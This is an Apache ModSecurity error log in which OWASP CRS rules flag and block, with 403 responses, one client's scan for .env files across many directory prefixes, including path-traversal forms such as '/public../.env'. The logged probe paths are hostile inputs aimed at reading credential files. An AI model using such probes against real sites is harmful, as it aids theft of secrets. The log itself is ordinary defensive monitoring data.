[Sun Oct 25 15:18:14.612103 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at5V9uNFKka2-rJ01WB_BgAAAAk"]
[Sun Oct 25 15:18:14.413325 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at5V9pYw3jZlk1xcjz4TSgAAADA"]
[Sun Oct 25 15:18:14.612535 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at5V9pYw3jZlk1xcjz4TSgAAADA"]
[Sun Oct 25 15:18:14.612809 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at5V9pYw3jZlk1xcjz4TSgAAADA"]
[Sun Oct 25 15:18:14.414413 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at5V9nXh3gJECtnR93iQcAAAABU"]
[Sun Oct 25 15:18:14.613231 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at5V9nXh3gJECtnR93iQcAAAABU"]
[Sun Oct 25 15:18:14.613500 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at5V9nXh3gJECtnR93iQcAAAABU"]
[Sun Oct 25 15:18:14.416965 2026] [ssl:error] [pid 2885108:tid 2885108] (70014)End of file found: [client 34.226.89.140:8977] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:18:14.554908 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at5V9uzMmhRmOL7WSQVFTgAAACU"]
[Sun Oct 25 15:18:14.614252 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at5V9uzMmhRmOL7WSQVFTgAAACU"]
[Sun Oct 25 15:18:14.614521 2026] [security2:error] [pid 2887598:tid 2887598] [client 34.95.254.114:60826] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at5V9uzMmhRmOL7WSQVFTgAAACU"]
[Sun Oct 25 15:18:14.619817 2026] [security2:error] [pid 2887602:tid 2887602] [client 34.95.254.114:60854] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /data/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at5V9nh6qqsQf2lg4aavMgAAACo"]
[Sun Oct 25 15:18:14.555704 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at5V9q-3mg6lJwQZGruCeQAAACY"]
[Sun Oct 25 15:18:14.632213 2026] [security2:error] [pid 2887597:tid 2887597] [client 34.95.254.114:60782] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at5V9XPfj2mbBYdumstnsQAAACQ"]
[Sun Oct 25 15:18:14.632392 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at5V9q-3mg6lJwQZGruCeQAAACY"]
[Sun Oct 25 15:18:14.632756 2026] [security2:error] [pid 2887599:tid 2887599] [client 34.95.254.114:60882] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at5V9q-3mg6lJwQZGruCeQAAACY"]
[Sun Oct 25 15:18:14.635215 2026] [security2:error] [pid 2887607:tid 2887607] [client 34.95.254.114:60920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at5V9ZqGkukX1JDbemz81gAAAC8"]
[Sun Oct 25 15:18:14.636468 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at5V9kEcNhfmEEfjyh7vogAAACI"]
[Sun Oct 25 15:18:14.636647 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at5V9kEcNhfmEEfjyh7vogAAACI"]
[Sun Oct 25 15:18:14.636886 2026] [security2:error] [pid 2887595:tid 2887595] [client 34.95.254.114:60732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at5V9kEcNhfmEEfjyh7vogAAACI"]
[Sun Oct 25 15:18:14.635470 2026] [security2:error] [pid 2887607:tid 2887607] [client 34.95.254.114:60920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at5V9ZqGkukX1JDbemz81gAAAC8"]
[Sun Oct 25 15:18:14.637538 2026] [security2:error] [pid 2887607:tid 2887607] [client 34.95.254.114:60920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at5V9ZqGkukX1JDbemz81gAAAC8"]
[Sun Oct 25 15:18:14.693065 2026] [security2:error] [pid 2887594:tid 2887594] [client 34.95.254.114:60764] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /public../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at5V9pMwkOmdFGyjvgh7HAAAACE"]
[Sun Oct 25 15:18:14.727537 2026] [security2:error] [pid 2887602:tid 2887602] [client 34.95.254.114:60854] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at5V9nh6qqsQf2lg4aavMgAAACo"]
[Sun Oct 25 15:18:15.073874 2026] [security2:error] [pid 2887601:tid 2887601] [client 34.95.254.114:60752] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at5V9_zoX0S02SxMXMjgjQAAACg"]
[Sun Oct 25 15:18:15.073937 2026] [security2:error] [pid 2887601:tid 2887601] [client 34.95.254.114:60752] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at5V9_zoX0S02SxMXMjgjQAAACg"]
[Sun Oct 25 15:18:15.074009 2026] [security2:error] [pid 2887601:tid 2887601] [client 34.95.254.114:60752] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at5V9_zoX0S02SxMXMjgjQAAACg"]
[Sun Oct 25 15:18:15.074209 2026] [security2:error] [pid 2887601:tid 2887601] [client 34.95.254.114:60752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at5V9_zoX0S02SxMXMjgjQAAACg"]
[Sun Oct 25 15:18:15.074538 2026] [security2:error] [pid 2887601:tid 2887601] [client 34.95.254.114:60752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at5V9_zoX0S02SxMXMjgjQAAACg"]
[Sun Oct 25 15:18:15.331854 2026] [security2:error] [pid 2887594:tid 2887594] [client 34.95.254.114:60764] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /public../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at5V9pMwkOmdFGyjvgh7HAAAACE"]
[Sun Oct 25 15:18:15.345837 2026] [security2:error] [pid 2887594:tid 2887594] [client 34.95.254.114:60764] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at5V9pMwkOmdFGyjvgh7HAAAACE"]
[Sun Oct 25 15:18:15.346145 2026] [security2:error] [pid 2887594:tid 2887594] [client 34.95.254.114:60764] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at5V9pMwkOmdFGyjvgh7HAAAACE"]
[Sun Oct 25 15:18:15.346724 2026] [security2:error] [pid 2887594:tid 2887594] [client 34.95.254.114:60764] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at5V9pMwkOmdFGyjvgh7HAAAACE"]
[Sun Oct 25 15:18:15.349370 2026] [security2:error] [pid 2887602:tid 2887602] [client 34.95.254.114:60854] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at5V9nh6qqsQf2lg4aavMgAAACo"]
[Sun Oct 25 15:18:15.353145 2026] [security2:error] [pid 2887604:tid 2887604] [client 34.95.254.114:60864] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at5V9qLuUCk8Pbl68zq0xwAAACw"]
[Sun Oct 25 15:18:15.353252 2026] [security2:error] [pid 2887604:tid 2887604] [client 34.95.254.114:60864] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at5V9qLuUCk8Pbl68zq0xwAAACw"]
[Sun Oct 25 15:18:15.353326 2026] [security2:error] [pid 2887604:tid 2887604] [client 34.95.254.114:60864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at5V9qLuUCk8Pbl68zq0xwAAACw"]
[Sun Oct 25 15:18:15.353582 2026] [security2:error] [pid 2887604:tid 2887604] [client 34.95.254.114:60864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at5V9qLuUCk8Pbl68zq0xwAAACw"]
[Sun Oct 25 15:18:15.353898 2026] [security2:error] [pid 2887604:tid 2887604] [client 34.95.254.114:60864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at5V9qLuUCk8Pbl68zq0xwAAACw"]
[Sun Oct 25 15:18:15.367981 2026] [security2:error] [pid 2887606:tid 2887606] [client 34.95.254.114:60868] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at5V9YQBlHdSZsYqGyvSTgAAAC4"]
